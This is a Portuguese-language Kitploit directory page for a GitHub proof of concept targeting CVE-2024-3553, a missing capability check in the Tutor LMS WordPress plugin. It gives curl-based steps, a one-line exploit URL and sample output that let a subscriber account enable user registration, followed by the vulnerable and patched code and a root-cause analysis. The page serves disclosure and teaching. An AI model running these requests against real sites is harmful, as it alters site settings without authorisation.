Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-3553 — CVE-2024-3553: Tutor LMS <= 2.6.2 - Vulnerabilidade de autorização ausente que permite que atacantes autenticados ativem o registro de usuários | Kitploit
Ferramentas/GitHubGitHub/randomrobbiebf/cve-2024-3553
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubrandomrobbiebf/cve-2024-3553

CVE-2024-3553

CVE-2024-3553: Tutor LMS <= 2.6.2 - Vulnerabilidade de autorização ausente que permite que atacantes autenticados ativem o registro de usuários

Ver Repositório
121há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-3553

Tutor LMS <= 2.6.2 - Autorização Ausente para Atualização Não Autenticada de Opções Limitadas

O plugin Tutor LMS – solução de e-learning e cursos online para WordPress está vulnerável a modificação não autorizada de dados devido à falta de verificação de capacidade na função hide_notices() em todas as versões até a 2.6.2 inclusive. Isso possibilita que atacantes autenticados (incluindo usuários de baixo privilégio, como assinantes) ativem o registro de usuários em sites que podem tê-lo desativado pelos administradores.

Detalhes

  • Tipo: plugin
  • Slug: tutor
  • Versão Afetada: 2.6.2
  • Pontuação CVSS: 6.5
  • Classificação CVSS: Médio
  • Vetor CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
  • CVE: CVE-2024-3553
  • Status: Ativo

POC

Exploração Automatizada

Um exploit Python completo está disponível: exploit-cve-2024-3553-v2.py

# Full automated exploitation
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123

# Check registration status only
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only

Exploração Manual

Pré-requisitos:

  • Qualquer conta autenticada (assinante, contribuidor, etc.)
  • Plugin Tutor LMS instalado e ativado

Passo 1: Faça login como Usuário de Baixo Privilégio

# Login as subscriber or any authenticated user
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
  https://target.com/wp-login.php

Passo 2: Extraia o Nonce da Área Administrativa

# Any authenticated user can access /wp-admin/ (even subscribers)
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1

Passo 3: Execute o Exploit

# Send request to enable user registration
curl -b cookies.txt \
  "https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"

Passo 4: Verifique o Sucesso

# Check if registration is now enabled
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "Registration ENABLED" || echo "Registration DISABLED"

Exploração em Uma Linha

# As any authenticated user, simply visit:
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>

Exemplo de Saída

======================================================================
Exploit CVE-2024-3553 - Autorização Ausente no Tutor LMS
Alvo: https://target.com
======================================================================

[*] Verificando status atual do registro...
[+] O registro está atualmente DESATIVADO

[*] Tentando fazer login como: subscriber
[+] Login bem-sucedido como: subscriber

[*] Passo 2: Extraindo nonce da área administrativa...
[+] Nonce encontrado: abc123def456

[*] Passo 3: Executando exploit para ativar o registro de usuários...
[*] Alvo: https://target.com
[*] Usando nonce: abc123def456
[*] URL do exploit: https://target.com/wp-admin/index.php
[*] Parâmetros: {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] Status da resposta: 200
[+] Requisição do exploit enviada com sucesso!

[*] Passo 4: Verificando o sucesso da exploração...
[+] O registro está atualmente ATIVADO

======================================================================
[!] EXPLORAÇÃO BEM-SUCEDIDA!
[!] O registro de usuários agora está ATIVADO
[!]
[!] Impacto: Um atacante com uma conta de baixo privilégio (assinante)
[!] conseguiu ativar o registro de usuários em um site onde estava
[!] desativado. Isso pode permitir a criação de contas adicionais,
[!] potencialmente levando a spam ou acesso não autorizado.
======================================================================

Código Vulnerável

Arquivo: /classes/User.php (Linhas ~800-815)

public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // CRITICAL FLAW: is_admin() only checks if in admin area, NOT user role!
    if ( is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            // NO CAPABILITY CHECK - Any authenticated user can execute this!
            update_option( 'users_can_register', 1 );
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

Pontos-chave da Vulnerabilidade:

  1. is_admin() apenas verifica se a requisição é para uma página de administração, NÃO se o usuário é administrador
  2. QUALQUER usuário autenticado pode acessar /wp-admin/ (mesmo assinantes)
  3. A verificação de nonce confirma que a requisição é intencional, mas NÃO que o usuário tem as permissões adequadas
  4. Ausente: verificação de capacidade current_user_can('manage_options')
  5. Isso permite que QUALQUER usuário autenticado modifique a opção users_can_register

Correção (v2.7.0)

Arquivo: /classes/User.php (Versão corrigida)

public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // SECURITY FIX: Added capability check
    $has_manage_cap = current_user_can( 'manage_options' );

    if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            update_option( 'users_can_register', 1 );  // Now properly protected
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

A correção adiciona current_user_can('manage_options') para verificar se o usuário tem privilégios de administrador antes de permitir a atualização da opção.

Impacto

  • Severidade Média: Embora não comprometa diretamente o site, esta vulnerabilidade permite:
    • Contornar controles administrativos
    • Ativar o registro de usuários em sites protegidos/privados
    • Potencial para criação de contas de spam
    • Ignorar políticas de segurança do site
    • Modificação não autorizada da configuração do site

Análise da Causa Raiz

Erro Comum de Segurança no WordPress

Esta vulnerabilidade demonstra um equívoco crítico sobre as funções de autorização do WordPress:

ERRADO ❌:

if ( is_admin() ) {
    // Pensando que isso significa "usuário é administrador"
    update_option( 'sensitive_option', $value );
}

CORRETO ✅:

if ( current_user_can( 'manage_options' ) ) {
    // Verifica se o usuário tem capacidades de administrador
    update_option( 'sensitive_option', $value );
}

Comparação de Funções

FunçãoO Que Realmente VerificaUso de Segurança
is_admin()Se a URL atual está em /wp-admin/❌ NÃO para autorização
current_user_can()Se o usuário tem capacidade específica✅ Autorização adequada
wp_verify_nonce()Se a requisição é intencional (proteção CSRF)✅ Mas não é suficiente sozinho

Defesa em Profundidade Necessária

A segurança adequada do WordPress requer múltiplas camadas:

  1. Validação de nonce - Previne ataques CSRF
  2. Verificações de capacidade - Garante autorização adequada
  3. Sanitização de entrada - Previne ataques de injeção

A ausência de QUALQUER dessas camadas pode levar a vulnerabilidades.

Mitigação

Para Administradores de Sites:

Atualize para a versão 2.7.0 do Tutor LMS ou superior imediatamente:

Baixar ferramenta